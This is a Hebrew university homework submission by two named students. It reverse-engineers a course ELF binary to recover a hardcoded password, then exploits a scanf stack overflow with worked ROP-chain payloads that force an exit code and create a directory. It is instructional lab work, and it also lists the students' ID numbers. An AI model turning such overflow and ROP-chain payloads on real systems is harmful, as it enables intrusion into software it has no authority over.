חן דוידוב - 209142074, איתן גרוניך – 318904703

ארגון ותכנות המחשב – תרגיל בית 3

שאלה 1

1. מוגדרים ב-prog תשעה program headers.
2. ישנם שני headers מסוג LOAD, במקומות 02 ו-03 ב-program headers.

:02

Offset: 0
Memory location: 0x400000
File size: 0x1864
Memory size: 0x1864
Flags: Read, Execute

:03

Offset: 0x1e10
Memory location: 0x601e10
File size: 0x22c
Memory size: 0x230
Flags: Read, Write

3. בתחילת ריצת התוכנית תוכן הזיכרון ב-0x401234 הוא חלק מ-02 section. משום שה-offset שלו הוא 0, מדובר בבית שבמקום ה-1234 מתחילת התוכנית. מ-hexdump נסיק שזהו "c7"
4. מאותם השיקולים כמו בסעיף 3, נקבל כי

```
Char foo[26] =
{0x63,0x66,0x6d,0x61,0x79,0x67,0x74,0x75,0x72,0x73,0x78,0x6c,0x70,0x6f,0x64,0x71,
0x65,0x7a,0x6e,0x77,0x69,0x6b,0x68,0x6a,0x62,0x76}
```

5. מאותם השיקולים כמו בסעיף 3, נקבל כי

```
Char bar[11]={0x0f,0x07,0x14,0x12,0x06,0x14,0x0b,0x0b,0x14,0x0d,0x12}
```

6. נתבונן ב-symtable ונראה כי check_password מופיע במקום 0x4005f0 בזיכרון. מאותם השיקולים כמו בסעיף 3, נתבונן ב-disassembly של הקובץ החל משורה 0x5f0, ונשלים את הפונקציה בהתאם:

```
int check_password(char* s){
        int i;
        for (i=0;i<11;i++){
                if (s[i] != foo[bar[i]]) {
                        return 0;
                }
        }
        return s[11]==0;
}
```

7. מעקב אחרי האינדקסים המתאימים לפונקציה בזיכרון יחשוף את הסיסמה הנכספת: quintillion

חן דוידוב - 209142074, איתן גרוניך – 318904703

שאלה 2

1. קריאה ל-scanf ללא הגבלה על מס' התווים אותו נוכל להכניס, מאפשרת לנו להכניס לזיכרון מידע שרירותי שיאפשר למשתמש לשנות את התנהגות התוכנית, בטעות או בזדון.
2. אחרי הכנסת הקלט הלא תקין, פקודת ret תקפוץ לכתובת 0x3435363738396162. זאת משום ש-main מעבירה ל-scanf בתור באפר את הכתובת הנוכחית של rsp, שבו מוקצים 0x18 בתים (כלומר 24) של משתנים לוקאליים. אורך הסיסמה שהכנסנו היא 36 תווים (=בתים), ולכן בתים 25-32 ידרסו את כתובת החזרה מהפונקציה, כלומר ייכתבו הבתים ba987654, שכאשר קוראים אותם ב-little endian מקבלים את הכתובת הנ"ל. (מלבד זאת נדרוס עוד 4 בתים במעלה המחסנית)
3.

מיקום	קידוד	פקודות
0x401663	5f c3	pop %rdi ret
0x4015fe	58 c3	pop %rax ret
0x400e9d	0f 05	syscall
0x4008ed	54 24 08 ff d7	push %rsp and $8, %al call* %rdi
0x4007a6	5e 5f 5d c3	pop %rsi pop %rdi pop %rbp ret
0x400833	48 ff cf c3	dec %rdi ret
0x401661	5e 41 57 c3	pop %rsi pop %r15 ret

4. נשתמש בקלט הבא על מנת לגרום לתוכנית לצאת עם ערך 17. בעזרת החולשה בscan נכתוב למחסנית ערכים כך שהיא תבצע:

rax=60
rdi=17
Syscall

כך נבצע יציאה מהתוכנית עם ערך חזרה כנדרש

zyxwvutsrqponmlkjihgfedc\xfe\x15\x40\x00\x00\x00\x00\x00\x3c\x00\x00\x00\x00\x00\x00\x00\x63\x16\x40\x00\x00\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x9d\x0e\x40\x00\x00\x00\x00\x00

הקלט מפוצל פר בית:

zyxwvutsrqponmlkjihgfedc

\xfe\x15\x40\x00\x00\x00\x00\x00 *go to pop %rax ret*
\x3c\x00\x00\x00\x00\x00\x00\x00 *popped into %rax*
\x63\x16\x40\x00\x00\x00\x00\x00 *go to pop %rdi ret*
\x11\x00\x00\x00\x00\x00\x00\x00 *popped into %rdi*
\x9d\x0e\x40\x00\x00\x00\x00\x00 *go to syscall*

5. נשתמש בקלט הבא כדי ליצור תיקייה בעצת השם "my_first_exploit". בעזרת החולשה בscan נכתוב נכתוב למחסנית את המידע הבא כדי לבצע את הפעולות הבאות:
   a. נכניס למחסנית את שם התיקיה הרצויה בתחילתה
   b. נשים ב-rdi את הכתובת שבה נוציא מן המחסנית rsp נוכחי
   c. נדחוף rsp נוכחי ונשים אותו ב-rdi
   d. נשים 83 בraxi
   e. נשים 755 באוקטלית בrsi
   f. משום שהשגנו את rdi אחריי כמות מסויימת של popים ורetים ששינו את ה-rsp, נצטרך לתקן אותו בהתאם (להוריד ממנו 48), לכן נקפוץ לכתובת שעושה כך 48 פעמים
   g. נקפוץ ל-syscall, כך שכל הפרמטרים שלנו הם הפרמטרים הרצויים

my_first_exploit\x00ihgfedc\x63\x16\x40\x00\x00\x00\x00\x00\xa6\x07\x40\x00\x00\x00\
x00\x00\xed\x08\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x61\x16\x4
0\x00\x00\x00\x00\x00\xed\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
00\xfe\x15\x40\x00\x00\x00\x00\x00\x53\x00\x00\x00\x00\x00\x00\x00\x33\x08\x40\x00\
x00\x00\x00\x00\x33\x08\x40\x00\x00\x00\x00\x00\x33\x08\x40\x00\x00\x00\x00\x00\x3
3\x08\x40\x00\x00\x00\x00\x00\x33\x08\x40\x00\x00\x00\x00\x00\x33\x08\x40\x00\x00\x
00\x00\x00\x33\x08\x40\x00\x00\x00\x00\x00\x33\x08\x40\x00\x00\x00\x00\x00\x33\x08\
x40\x00\x00\x00\x00\x00\x33\x08\x40\x00\x00\x00\x00\x00\x33\x08\x40\x00\x00\x00\x0
0\x00\x33\x08\x40\x00\x00\x00\x00\x00\x33\x08\x40\x00\x00\x00\x00\x00\x33\x08\x40\x
00\x00\x00\x00\x00\x33\x08\x40\x00\x00\x00\x00\x00\x33\x08\x40\x00\x00\x00\x00\x00\
x33\x08\x40\x00\x00\x00\x00\x00\x33\x08\x40\x00\x00\x00\x00\x00\x33\x08\x40\x00\x0
0\x00\x00\x00\x33\x08\x40\x00\x00\x00\x00\x00\x33\x08\x40\x00\x00\x00\x00\x00\x33\x
08\x40\x00\x00\x00\x00\x00\x33\x08\x40\x00\x00\x00\x00\x00\x33\x08\x40\x00\x00\x00\
x00\x00\x33\x08\x40\x00\x00\x00\x00\x00\x33\x08\x40\x00\x00\x00\x00\x00\x33\x08\x4
0\x00\x00\x00\x00\x00\x33\x08\x40\x00\x00\x00\x00\x00\x33\x08\x40\x00\x00\x00\x00\x
00\x33\x08\x40\x00\x00\x00\x00\x00\x33\x08\x40\x00\x00\x00\x00\x00\x33\x08\x40\x00\
x00\x00\x00\x00\x33\x08\x40\x00\x00\x00\x00\x00\x33\x08\x40\x00\x00\x00\x00\x00\x3
3\x08\x40\x00\x00\x00\x00\x00\x33\x08\x40\x00\x00\x00\x00\x00\x33\x08\x40\x00\x00\x
00\x00\x00\x33\x08\x40\x00\x00\x00\x00\x00\x33\x08\x40\x00\x00\x00\x00\x00\x33\x08\
x40\x00\x00\x00\x00\x00\x33\x08\x40\x00\x00\x00\x00\x00\x33\x08\x40\x00\x00\x00\x0
0\x00\x33\x08\x40\x00\x00\x00\x00\x00\x33\x08\x40\x00\x00\x00\x00\x00\x33\x08\x40\x
00\x00\x00\x00\x00\x33\x08\x40\x00\x00\x00\x00\x00\x33\x08\x40\x00\x00\x00\x00\x00\
x33\x08\x40\x00\x00\x00\x00\x00\x9d\x0e\x40\x00\x00\x00\x00\x00\x00

הקלט מפוצל פר בית:

my_first_exploit\x00ihgfedc
\x63\x16\x40\x00\x00\x00\x00\x00 *go to pop %rdi ret*
\xa6\x07\x40\x00\x00\x00\x00\x00 *gets popped into rdi*
\xed\x08\x40\x00\x00\x00\x00\x00 *go to push rsp and $8, %al call* %rdi*

rsp and return address from call are pushed onto the stack, return address is popped into rsi, rsp is popped into rdi and then we return to the values we entered*
\x00\x00\x00\x00\x00\x00\x00\x00 *popped by pop rbp*
\x61\x16\x40\x00\x00\x00\x00\x00 *go to pop %rsi pop %r15 ret*
\xed\x01\x00\x00\x00\x00\x00\x00 *popped into %rsi*
\x00\x00\x00\x00\x00\x00\x00\x00 *popped into %r15*
\xfe\x15\x40\x00\x00\x00\x00\x00 *go to pop %rax ret*
\x53\x00\x00\x00\x00\x00\x00\x00 *popped into %rax*
\x33\x08\x40\x00\x00\x00\x00\x00 *dec %rdi ret (48 times)*
\x9d\x0e\x40\x00\x00\x00\x00\x00 *go to syscall*